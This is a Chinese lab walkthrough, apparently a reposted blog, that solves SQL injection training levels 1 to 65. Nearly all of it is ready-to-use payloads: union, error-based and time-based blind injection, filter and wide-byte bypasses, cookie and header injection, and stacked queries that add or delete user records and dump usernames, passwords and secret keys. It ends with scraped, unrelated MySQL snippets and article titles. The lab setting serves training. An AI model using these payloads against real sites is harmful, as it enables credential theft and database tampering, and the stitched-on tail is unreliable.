sql注入靶场1-65

2023-11-19

第一关:

单引号闭合:在这里插入图片描述
order by 判断字段数,显示位2.3:在这里插入图片描述在这里插入图片描述
输出数据库版本?id=-1' union select 1,2,version() --+在这里插入图片描述
输出数据库名称:?id=-1' union select 1,2,database() --+在这里插入图片描述查看所有表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+在这里插入图片描述
查看第一个字段:column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1 --+ :
在这里插入图片描述
通过修改位置显示:在这里插入图片描述
在这里插入图片描述查看账户密码:
?id=-1' union select 1,username,password from users limit 1,1--+(可通过改变limit查看多个)在这里插入图片描述
显示全部?id=-1' union select 1,2,group_concat('<br>','用户',username,'密码',password) from users--+在这里插入图片描述

第二关:

无闭合符:在这里插入图片描述
语句同第一关;

第三关:

')闭合在这里插入图片描述
语句同第一关;

第四关:

")闭合在这里插入图片描述
语句同第一关;

第五关:

'闭合在这里插入图片描述
从这一关开始盲注
判断数据库长度:?id=1' and length(database())='8' --+未报错代表是八位在这里插入图片描述
也可使用 updatexml()函数
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+报错出数据库名称在这里插入图片描述
查询表名:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --+在这里插入图片描述
输出第二个字段名:?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1) --+(改变limit输出其他字段)在这里插入图片描述输出出值:
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),1) --+在这里插入图片描述
由于一次只能求出一个需要在修改查询内容查出密码:
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) --+
在这里插入图片描述
通过修改limit可注入出其他;

第六关:

"闭合在这里插入图片描述
注入求值同第五关如下:
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) --+在这里插入图片描述

第七关:

'))闭合在这里插入图片描述
盲注:本关使用substr()函数
首先判断数据库字段数:
?id=1')) and length(database())='8'--+没有报错代表数据库位数为八在这里插入图片描述使用折中的方法逐个判断出字符:
?id=1')) and substr((select database()),1,1)>'a'--+在这里插入图片描述折中?id=1')) and substr((select database()),1,1)>'n'--+在这里插入图片描述折中?id=1')) and substr((select database()),1,1)>'u'--+错误说明比u小在这里插入图片描述?id=1')) and substr((select database()),1,1)>'q'--+成功说明在q和u之间逐个测试在这里插入图片描述?id=1')) and substr((select database()),1,1)>'r'--+失败不是下一个在这里插入图片描述?id=1')) and substr((select database()),1,1)='s'--+无报错说明数据库第一个字符是s在这里插入图片描述调节limit求出八位;
后分别使用:
?id=1'))and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)>'a'--+逐个求出表名;在这里插入图片描述使用:
?id=1'))and substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1)>'a'--+逐个求出列名;在这里插入图片描述使用:
?id=1'))and substr((select password from users limit 1,1),1,1)>'a'--+逐个查出值;在这里插入图片描述

第八关:

'闭合在这里插入图片描述注入求值同第七关:

第九关:

'闭合:在这里插入图片描述这一关延时注入:
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+在这里插入图片描述若请求错误则会延迟五秒;
求出:表名?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+(注:e=101)在这里插入图片描述使用该函数逐个折中判断;

第十关:

"闭合在这里插入图片描述本关同第九关:在这里插入图片描述

第十一关:

万能密码:’ or 1=1 #在这里插入图片描述在这里插入图片描述

第十二关:

修改闭合方式
在这里插入图片描述在这里插入图片描述

第十三关:

修改闭合方式在这里插入图片描述在这里插入图片描述

第十四关:

"闭合
在这里插入图片描述在这里插入图片描述

第十五关:

'注释在这里插入图片描述
在这里插入图片描述

第十六关:

")闭合
在这里插入图片描述在这里插入图片描述

第十七关:

'闭合在这里插入图片描述
burp抓包:
uname=admin&passwd=1962' and extractvalue(1,concat(0x7e,(select version()),0x7e))--+查询出本版信息在这里插入图片描述在这个位置依次查询;

第十八关:

基于账户密码正确的情况下注入查询:(注:十七关重置过密码需要改回来)

观察代码uagent和ip被传入数据库可进行修改在这里插入图片描述
以此为注入点:
在这里插入图片描述

第十九关:

观察代码referer和ip被传入数据库在这里插入图片描述
burp抓包:将Referer:修改为'and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '1'='1在这里插入图片描述

第二十关:

cookie中的username值被带入数据库中:在这里插入图片描述抓包将cookie修改为uname=' union select 1,2,database() or 1=1 #发现输出点在1,2上修改在这里插入图片描述Cookie: uname=' union select 1,database(),3 or 1=1 #成功查询数据库名在这里插入图片描述

第二十一关:

本关对cookie进行了base64在这里插入图片描述
本关还需要admin登陆成功:在这里插入图片描述
在这个页面刷新:burp抓包输入编码后的代码
admin'and extractvalue(1,concat(0x7e,(select database()),0x7e))and'1'='1编码:
YWRtaW4nYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSkpYW5kJzEnPScx

第二十二关:

"封装在这里插入图片描述将上一关的代码改为双引号编码输出成功:在这里插入图片描述

第二十三关:

这里屏蔽了#和–+;在这里插入图片描述
使用’单引号闭合:?id=-1' union select 1,database(),'3查看数据库;在这里插入图片描述查询所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),'3在这里插入图片描述

第二十四关:

修改密码处没有特殊字符过滤可通过在用户名后添加特殊字符;来修改管理员admin的密码在这里插入图片描述

第二十五关:

or和and过滤:在这里插入图片描述双写这两个 :?id=1' oorrder by 1 anandd '1'='1:在这里插入图片描述
查询注入点:?id=-1' union select 1,2,3 anandd '1'='1在这里插入图片描述
查询数据库:?id=-1' union select 1,database(),3 anandd '1'='1在这里插入图片描述
查询所有表:?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='database()' limit 0,1),3 anandd '1'='1在这里插入图片描述查询字段:?id=-1' union select 1,(select column_name from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' limit 1,1),3 anandd '1'='1在这里插入图片描述
挨个查询值:在这里插入图片描述

第二十五a关:

本关不用闭合字符?id=1 aandnd 1=1在这里插入图片描述查询数据库:?id=-1 union select 1,database(),3在这里插入图片描述注:和25没什么差别代码相同只是去掉了’

第二十六关:

'闭合在这里插入图片描述过滤字符:。。。。。在这里插入图片描述报错注入查看数据库:?id=1'||updatexml(1,concat(':',(select database())),1)||'1'='1在这里插入图片描述报错注入查看所有表:?id=1'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1在这里插入图片描述查询全部字段:?id=1'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())anandd(table_name='users'))),0)||'1'='1在这里插入图片描述
查询前面一部分用户名:?id=1'||updatexml(1,concat('$',(select(group_concat(username))from(users))),0)||'1'='1在这里插入图片描述一部分密码:?id=1'||updatexml(1,concat('$',(select(group_concat(passwoorrd))from(users))),0)||'1'='1在这里插入图片描述

第二十六a关:

在这里插入图片描述?id=1)'||updatexml(1,concat(':',(select database())),1)||('1')=('1

第二十七关:

过滤字符在这里插入图片描述尝试大小写混合:
?id=1'||updatexml(1,concat(':',(select database())),1)||'1'='1在这里插入图片描述查询全部表:?id=1'||updatexml(1,concat('$',(seLect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),0)||'1'='1在这里插入图片描述查询所有字段名:?id=1'||updatexml(1,concat('$',(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='users'))),0)||'1'='1在这里插入图片描述一部分用户:?id=1'||updatexml(1,concat('$',(selEct(group_concat(username))from(users))),0)||'1'='1在这里插入图片描述一部分用户密码:?id=1'||updatexml(1,concat(':',(sElect(group_concat(password))from(users))),0)||'1'='1在这里插入图片描述

第二十七a关:

“闭合在这里插入图片描述
查询数据库:?id=99"%0AUNIon%0ASELECt%0A1,database(),3||"1"="1(注:%0A是换行符)在这里插入图片描述本关和上一关区别不大只是’换成了”

第二十八关:

闭合字符’)在这里插入图片描述
屏蔽字符:在这里插入图片描述联合查询:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1在这里插入图片描述查询全部表:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()%0Alimit%0A0,1),3||('1')=('1在这里插入图片描述查询全部字段:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema=database()%0Aand%0Atable_name='users'%0Alimit%0A0,1),3||('1')=('1在这里插入图片描述查询用户:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,(select%0Ausername%0Afrom%0Ausers%0Alimit%0A4,1),3||('1')=('1在这里插入图片描述查询用户密码:?id=10000000000000')ununion%0Aselection%0Aselect%0A1,(select%0Apassword%0Afrom%0Ausers%0Alimit%0A4,1),3||('1')=('1在这里插入图片描述

第二十八a关:

降低了难度;
使用上一关的方法一样成功:

第二十九关:

'闭合在这里插入图片描述
查询数据库:?id=-1' union select 1,database(),3%23在这里插入图片描述查询所有表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23在这里插入图片描述查询所有字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1%23在这里插入图片描述查询用户,查询用户密码:?id=-1' union select 1,username,password from users limit 1,1%23在这里插入图片描述

第三十关:

"闭合:在这里插入图片描述查询用户,查询用户密码:?id=-1" union select 1,username,password from users limit 1,1%23在这里插入图片描述

第三十一关:

")闭合:在这里插入图片描述查询用户,查询用户密码:?id=-1") union select 1,username,password from users limit 1,1%23在这里插入图片描述

第三十二关:

查询字段:?id=-1%df%27%20union%20select%201,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)%23在这里插入图片描述本关使用宽字符:?id=-1%df%27%20union%20select%201,username,password%20from%20users%20limit%201,1%23在这里插入图片描述

第三十三关:

使用宽字符:?id=-1%df%27%20union%20select%201,username,password%20from%20users%20limit%201,1%23在这里插入图片描述

第三十四关:

使用�’or 1=1 #绕过:�’是’的utf-16编码的结果:密码随便在这里插入图片描述

第三十五关:

本关不需要闭合:?id=1 and 1=2
数据库名:?id=-1 union select 1,database(),3--+在这里插入图片描述
全部的表:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+在这里插入图片描述字段名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)--+在这里插入图片描述求值:?id=-1 union select 1,username,password from users limit 1,1 --+在这里插入图片描述

第三十六关:

加宽字符过滤:?id=1%df' and 1=1 --+
数据库名:?id=-1%df' union select 1,database(),3 --+在这里插入图片描述全部的表名:?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+在这里插入图片描述全部的字段名:?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)--+在这里插入图片描述用户名密码:?id=-1%df' union select 1,username,password from users limit 1,1 --+在这里插入图片描述

第三十七关:

同三十四关使用�’or 1=1 #绕过:�’是’的utf-16编码的结果:密码随便:在这里插入图片描述
�' union select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a#在这里插入图片描述

第三十八关:

闭合字符:’在这里插入图片描述
查看数据库名创建一个用户:?id=-1‘ union select 1,2,database();insert into users (username,password) values(1433223,741852)--+在这里插入图片描述cmd查看一下;在这里插入图片描述

第三十九关:

查看数据库名并创建一个用户:?id=-1 union select 1,2,database();insert into users (username,password) values(1433223,741852)–+在这里插入图片描述在这里插入图片描述

第四十关:

闭合字符:’)在这里插入图片描述查看数据库名并创建一个用户:?id=-1') union select 1,2,database();insert into users (username,password) values (65,'dfghjk'); #在这里插入图片描述在这里插入图片描述

第四十一关:

查看数据库名并创建一个用户:?id=-1 union select 1,2,database();insert into users (username,password) values (65,'dfghjk'); #在这里插入图片描述在这里插入图片描述

第四十二关:

密码栏输入';insert into users (username,password) values (65,'dfghjk'); #在这里插入图片描述

在这里插入图片描述

第四十三关:

只是闭合方式变成了’)
建的太多了删一删,密码输入框:');delete from users where id=14;#
成功删除:在这里插入图片描述

第四十四关:

'闭合
用户名随便,在密码输入框:';delete from users where id=13;#在这里插入图片描述在这里插入图片描述

第四十五关:

')闭合
用户名随便,在密码输入框:');delete from users where id=13;#在这里插入图片描述

第四十六关:

查看代码发现:这里是sort在这里插入图片描述
输入?sort=1看一哈在这里插入图片描述
显错注入搞一哈:?sort=1 and(updatexml(1,concat(0x7e,(select database()),0x7e),0));成功木得问题在这里插入图片描述查看所有表:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),0));在这里插入图片描述
查看所有字段:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),0));在这里插入图片描述查询用户:?sort=1 and(updatexml(1,concat(0x7e,(select username from users limit 3,1),0x7e),0)); --+在这里插入图片描述
查询用户密码:?sort=1 and(updatexml(1,concat(0x7e,(select password from users limit 3,1),0x7e),0)); --+在这里插入图片描述

第四十七关:

'闭合
查看字段试试:?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),0)); --+在这里插入图片描述
查询用户:?sort=1' and(updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),0)); --+在这里插入图片描述
查询用户密码:?sort=1' and(updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),0)); --+在这里插入图片描述

第四十八关:

注入:?sort=1 and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))在这里插入图片描述

第四十九关:

'闭合:
注入:?sort=1' and (if(ascii(substr((select database()),1,1))=155,0,sleep(2))) --+
在这里插入图片描述

第五十关:

可输入两个函数:?sort=1;delete from users where id=11;#删除id为11的在这里插入图片描述

第五十一关:

'闭合:在这里插入图片描述
可输入两个函数:?sort=1';delete from users where id=10;#删除id为10的在这里插入图片描述

第五十二关:

同上在这里插入图片描述

第五十三关:

和之前的都差不多:?sort=1';insert into users (username,password) values (65275,'dfghjk');--+(添加一个用户)在这里插入图片描述

第五十四关:

库:?id=-1' union select 1,2,database()--+在这里插入图片描述
表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+在这里插入图片描述
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='ut47q844sc'--+在这里插入图片描述查看secret的值?id=-1' union select 1,2,group_concat(secret_4C3B) from ut47q844sc--+在这里插入图片描述
将密钥填进去:在这里插入图片描述

第五十五关:

)闭合:
在这里插入图片描述
查询数据库名:?id=-1) union select 1,2,database()--+在这里插入图片描述
查询表名:?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+在这里插入图片描述
查询全部字段:?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='1h4r3ggcy2'--+在这里插入图片描述
查询密钥:?id=-1) union select 1,2,group_concat(secret_9TU5) from 1h4r3ggcy2 --+在这里插入图片描述
得到密钥填进去在这里插入图片描述

第五十六关:

闭合’):
在这里插入图片描述
查询数据库:?id=-1') union select 1,2,database()--+在这里插入图片描述
查询全部的表:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 在这里插入图片描述查询全部字段名:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='2vf0xkr6vf'--+ 在这里插入图片描述查询密钥:?id=-1') union select 1,2,group_concat(secret_WKRE) from 2vf0xkr6vf --+ 在这里插入图片描述密钥填入成功:在这里插入图片描述

第五十七关:

"闭合:在这里插入图片描述查询数据库名:?id=-1" union select 1,2,database()--+在这里插入图片描述查询全部表名:?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 在这里插入图片描述查询全部字段名:?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='2j1yd8ohht'--+ 在这里插入图片描述查询密钥:?id=-1" union select 1,2,group_concat(secret_VZA9) from 2j1yd8ohht--+ 在这里插入图片描述密钥提交:成功在这里插入图片描述

第五十八关:

'闭合:在这里插入图片描述
使用报错注入:?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
在这里插入图片描述查询表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+在这里插入图片描述
失误重新来
由于数据库不会改变直接查表;?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+新的表
在这里插入图片描述
查字段:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='5bojtnzndu'),0x7e),1) --+在这里插入图片描述密钥:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(secret_LMI8) from 5bojtnzndu),0x7e),1) --+在这里插入图片描述成功在这里插入图片描述

第五十九关:

数据库:?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+在这里插入图片描述查表名:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+在这里插入图片描述查字段名:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='3cxr10elnb'),0x7e),1) --+在这里插入图片描述查询密钥:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(secret_X2LK) from 3cxr10elnb),0x7e),1) --+在这里插入图片描述将密钥提交:在这里插入图片描述

第六十关:

“)闭合:
查看数据库:?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+在这里插入图片描述查看全部的表名:?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+在这里插入图片描述查看全部的字段名:?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='i1r6zk4hg0'),0x7e),1) --+在这里插入图片描述
密钥?id=-1”) and updatexml(1,concat(0x7e,(select group_concat(secret_7W87) from i1r6zk4hg0),0x7e),1) --+在这里插入图片描述成功:在这里插入图片描述

第六十一关:

闭合’)):在这里插入图片描述查询数据库:?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+在这里插入图片描述
查询表:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+在这里插入图片描述查询字段:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='au8r4kpzmq'),0x7e),1) --+在这里插入图片描述查询密钥:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(secret_28LC) from au8r4kpzmq),0x7e),1) --+在这里插入图片描述成功:在这里插入图片描述

第六十二关:

闭合方式:’)
这一关使用延时注入:查询数据库名;使用折中的方法?id=1') and if(ascii(substr((select database()),1,1))=19,1,sleep(5)) --+在这里插入图片描述

第六十三关:

闭合方式:’
同样使用延时注入:?id=1' and if(ascii(substr((select database()),1,1))=19,1,sleep(5)) --+
在这里插入图片描述

第六十四关:

双)):在这里插入图片描述同样是延时注入:?id=1)) and if(ascii(substr((select database()),1,1))=99,1,sleep(5)) --+在这里插入图片描述

第六十五关:

双"):
在这里插入图片描述
延时注入:?id=1") and if(ascii(substr((select database()),1,1))=99,1,sleep(5)) --+

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql注入靶场1-65 的相关文章

  • 如何防止mysql隐式提交

    mysql文档 http dev mysql com doc refman 5 5 en implicit commit html指出某些语句将在事务期间导致隐式提交 例如 CREATE TABLE foo bar INT START TR
  • 如何向表示多对多关系的 MySQL 闭包表添加排序顺序?

    这是我的问题的后续 如何在MySQL中实现多对多的层次结构 https stackoverflow com questions 9691366 how to implement a many to many hierarchical str
  • 如何像mysql一样对数组进行排序

    如何对与数据库数据相同的数组进行排序 我请求谷歌分析数据 数据是一个大数组 我想将数组与本地数据库中的一些其他字段连接起来 然后我再次扩展大数组 现在我想对大数组进行排序 这与使用我的 sql 相同 如下所示 select from ga
  • 使用 PHP 连接到 Amazon RDS

    我正在尝试将 RDS 实例与 PHP 连接文件连接 这是我的文件中的内容 define DB SERVER localhost define DB USERNAME User Name define DB PASSWORD Password
  • 按升序选择最后 20 个顺序 - PHP/MySQL

    这是我的表结构 MyTable ID P K auto increment TopicID UID Comment 现在我想获取某个 TopicID 的最后 20 条评论 但它应该按升序排序 就像 Facebook 默认只显示最后 20 条
  • 同一张表上的多对多

    有趣的是我从来没有遇到过这个 我从来没有想过一个人可以在一张桌子上建立 多对多 关系 直到我开始开发一种用户可以互相 加好友 的系统 社交网络 标准查找表 至少以我习惯使用的方式 在这里不合适 让我们保持简单 用户表有 id 和 name
  • 拥有两张单独的用户表还是一张更好?

    我的网络应用程序将拥有两种 100 不同的用户 领域 功能和网站目的 一类用户的目的是发布博客 另一类用户的目的是阅读博客并 关注 发布者 他们唯一的共同点是需要 ID 电子邮件 密码和其他一些元数据 例如加入日期等 我应该尝试将它们从同一
  • 选择列中包含确切数字的行,其中一组数字以逗号分隔

    也许答案很简单 但我找不到正确的 MySQL 查询来完成我想要的操作 我有桌子user id user name action type 1 joshua 1 13 12 40 2 joshua 2 8 我只想选择具有确切数字的行actio
  • Laravel - 雄辩地覆盖自定义时间戳......为什么?

    我正在制作一个库存管理系统 当产品缺货时 我会在表中输入一个条目 并记下 oos at 字段和日期 时间 后来 当它回到库存时 我找到该条目并更新 restocked at 时间戳字段 但是 当我执行第二个操作时 我的 oos at 字段被
  • 在 MySQL 中选择不同的对

    我想选择 A 列和 B 列中具有相同值的行 例如 如果我的表是 A B 1 2 3 4 1 2 4 5 输出应该是 A B 1 2 A SELECT DISTINCT A B FROM table 选择表中的所有值 B SELECT DIS
  • 如何使用 PHP mysqli 增加 MySQL 中的值

    我在 MySQL 表中有一个整数列 名为col1 现在 我需要的是将其值增加某个数字 例如 1 可能是 2 3 或任何数字 也就是说 如果它的值已经是 10 现在我希望它变成 11 我知道 我可以通过首先选择原始值 用 PHP 增加它 然后
  • REACT NATIVE 从本地 MySQL 数据库检索数据

    我正在用 React Native 编写一个应用程序 并且创建了一个 MySQL 数据库来存储我的信息 但我想知道是否可以使用 axios 或 fetch 与我的数据库交互 因为它是本地的并且没有 HTTP 地址然而 我觉得我以前能够做到这
  • com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException:连接关闭后不允许执行任何操作

    我构建了一个应用程序并在本地部署 并且它运行良好 我将其部署在远程服务器上 并开始收到主题行中提到的异常 这不是因为任何防火墙问题 我改变了我的hibernate xml通过我的 IP 地址而不是 localhost 进行连接 现在我在本地
  • PDO::debugDumpParams 的输出是否有最大值?

    使用 PDO debugDumpParams 时 对于 选定 查询 输出显示的字符数是否有最大限制 大约 500 个字符后 查询将在查询中间结束 而在输出准备 query 变量时 将显示完整的查询 此外 当删除查询的某些部分时 它仍然显示一
  • 连接错误 - SQLSTATE[HY000] [2002] 操作超时

    我在从 Windows 2008 R2 应用程序服务器连接到也在 Windows 2008 R2 上运行的 MySQL 服务器时遇到问题 Laravel 应用程序报告错误 exception PDOException with messag
  • MySQL 偏移无限行

    我想构造一个查询 显示表中的所有结果 但从表的开头偏移 5 据我所知 MySQLLIMIT需要一个限制和一个偏移量 有什么办法可以做到这一点吗 来自MySQL LIMIT 手册 http dev mysql com doc refman 5
  • 根据长文本存储的 json 中的特定值提取密钥

    我有一列存储用户属性的值 列类型是长文本 例如 1 1 15607 1 1345 2 我只想提取值为 1 的键 这意味着我应该得到 1 和 15607 我尝试使用 json search json search cast attribute
  • 如何正确安装mysqlconnecter java?

    上网冲浪后 我意识到我应该在系统环境变量中设置类路径连接器 jar 文件的路径文件我这样做了 并在命令行中输入此命令我有这个 C Users User gt echo classpath D classpath mysql connecto
  • 如何在 MySQL 中存储工作日列表?

    我正在使用编写一个应用程序PHP我需要存储一个独特的工作日列表MySQL 在应用程序中 我有一个数组来存储工作日 如下所示 days Wed Thu Sat 我知道我可以使用SET列 但我不想使用这种类型 因为它与我正在使用的框架 Lara
  • ECHO MYSQL 结果显示空白页 [关闭]

    很难说出这里问的是什么 这个问题是含糊的 模糊的 不完整的 过于宽泛的或修辞性的 无法以目前的形式得到合理的回答 如需帮助澄清此问题以便重新打开 访问帮助中心 help reopen questions 我知道这一定很简单 但我做不到 我需

随机推荐

  • 分析研究<<一战到底>>节目规则演变

    分析研究 lt lt 一战到底 gt gt 节目规则演变 一 研究范围 江苏卫视2012年3月2日推出益智答题类节目 研究时间截止 2014年1月4日星期六 二 规则演变 1 初始规则 2012年3月2日规则 1 每期参加节目的有11人 分
  • 01-ZooKeeper快速入门

    1 Zookeeper概念 Zookeeper是Apache Hadoop项目下的一个子项目 是一个树形目录服务 zookeeper翻译过来就是 动物园管理员 它是用来管理Hadoop 大象 Hive 蜜蜂 Pig 小猪 的管理员 简称ZK
  • C语言程序设计 现代方法(第2版)电子书pdf下载

    C语言程序设计 现代方法 第2版 下载链接 https pan baidu com s 1XIKYGAxGhRTscgibAj3kgQ 提取码获取方式 关注下面微信公众号 回复关键字 1129
  • 关于猜数字游戏以及关机指令

    这几天学习到了一些没有接触过的东西 因此在这里记录下 首先是猜数字游戏 这个小程序特别简单 只要知道相关的几个关键函数就能明白 它的主要函数有rand 返回随机数 以及srand 用来设置随机数的起点 以及time 代码如下 include
  • 【QTUM量子链中国区】零撸180元攻略

    QTUM量子链中国区 于2020年1月7日正式上线 实名认证 无需上传 通过后赠送体验矿机一台 周期30天 总产量10QTUM 价值130元 进入官方QQ群可以目测到 这个新出的项目非常火爆 问题是 QTUM量子链中国区和著名的QTUM量子
  • ABAP 参照TR创建副本TR并释放

    简介 一般项目中为了后期传输的统一性 都会采用传输副本请求的方式来避免出现一个需求有过多的工作台TR的情况 但是常规的创建副本请求的方式不是很便捷 因此本文介绍一种参照已有TR创建副本TR的样例 效果 代码 Report YSTMS
  • Ljavax/validation/ParameterNameProvider

    利用宝塔部署项目war包出现 Ljavax validation ParameterNameProvider 的错误 初始化org springframework validation beanvalidation OptionalVali
  • day08-Linux自有服务&软件包管理

    自有服务 即不需要用户独立去安装的软件的服务 而是当系统安装好之后就可以直接使用的服务 内置 学习目标 1 了解systemctl命令用途 2 掌握使用systemctl开启 关闭 重启服务 3 了解常见自有服务ntpd firewalld
  • Linux基础学习

    安装gcc 1 apt get命令是debain Linux发新版的APT软件包管理工具 dabian ubuntu deepin等Linux系统通过以下命令 安装gcc Shell输入sudo apt get install gcc命令
  • 4--一元多项式的乘法与加法运算

    个人题解 include
  • JS判断数组中是否有重复的元素

    function isRepeatId arr arr 100 200 400 200 if arr length 1 若元素数为1一定不重复 直接返回 return false var hash for let i in arr 遍历ar
  • C语言的面向对象的封装方法

    1 3 1 变长结构体的实现 以上文数据结构C语言 双向链表及其实现的双向环链为例 具体封装方法如下 在上述双向环链中节点中不可避免地引入了数据指针 void data占用了8byte的空间 那么能不能在链表每个节点中省去这8byte的空间
  • 自下而上分析方法-算符优先,LR(0),SLR,LR(1),LALR大全

    文章目录 自下而上分析法 一 规范规约 相关定义 短语 直接短语 句柄 素短语 最左素短语 语法树表示 示例 规范规约 二 语法分析器 三 算符优先分析算法 算符文法 1 算符优先文法 2 FIRSTVT P 和LASTVT P 1 FIR
  • 金晟富:5.24黄金原油最新行情涨跌分析,黄金原油操作建议

    前言导读 新的一天 新的开始 新的机会 投资路并非坦途 我的文字不华丽 但是却很真诚 财富自由首先是脑袋的距离 然后才是口袋的距离 出现亏损应当去寻找原因 去改变目标处境 不然将会陷入恶性循环 不断的亏损 不断的找理由 赚钱的单拿不住 亏钱
  • docker official tutorial, unable to build images.docker官方教程无法生成镜像

    windows docker 根据dockder的官方tutorial教程 docker build t getting started 这一步无法成功 一直是如下报错 21 53 error An unexpected error occ
  • element-plus 关于按需加载的问题

    完整的引入没什么说的 import createApp from vue import ElementPlus from element plus import element plus lib theme chalk index css
  • 用Python调用OpenAI API做有趣的事

    GPT 迭代过程概要表 版本 发布时间 训练方案 参数量 是否开放接口 GPT GPT 1 2018 年 6 月 无监督学习 1 17 亿 是 GPT 2 2019 年 2 月 多任务学习 15 亿 是 GPT 3 2020 年 5 月 海
  • 数据库2:创建表(头歌云课)

    任务描述 相关知识 如何在指定数据库中创建表 编程要求 测试说明 任务描述 本关任务 在数据库中 创建一个表 相关知识 我们知道数据库就是存储数据的地方 那数据库中的数据到底存放在哪里呢 数据库中的数据是存放在数据库中的一张一张表 你可以想
  • 机器学习数据分析软件:Octave

    最近学习了Octave数学软件 这个软件类似于MATLAB 但是操作要比MATLAB简单很多 上手快 对数据分析有很大的帮助 所以这里就简单的把部分练习的代码放在这里 如果你想实现一下 可以按照代码内容来 或者自己编写 GNU Octave
  • sql注入靶场1-65

    第一关 单引号闭合 order by 判断字段数 显示位2 3 输出数据库版本 id 1 union select 1 2 version 输出数据库名称 id 1 union select 1 2 database 查看所有表名 id 1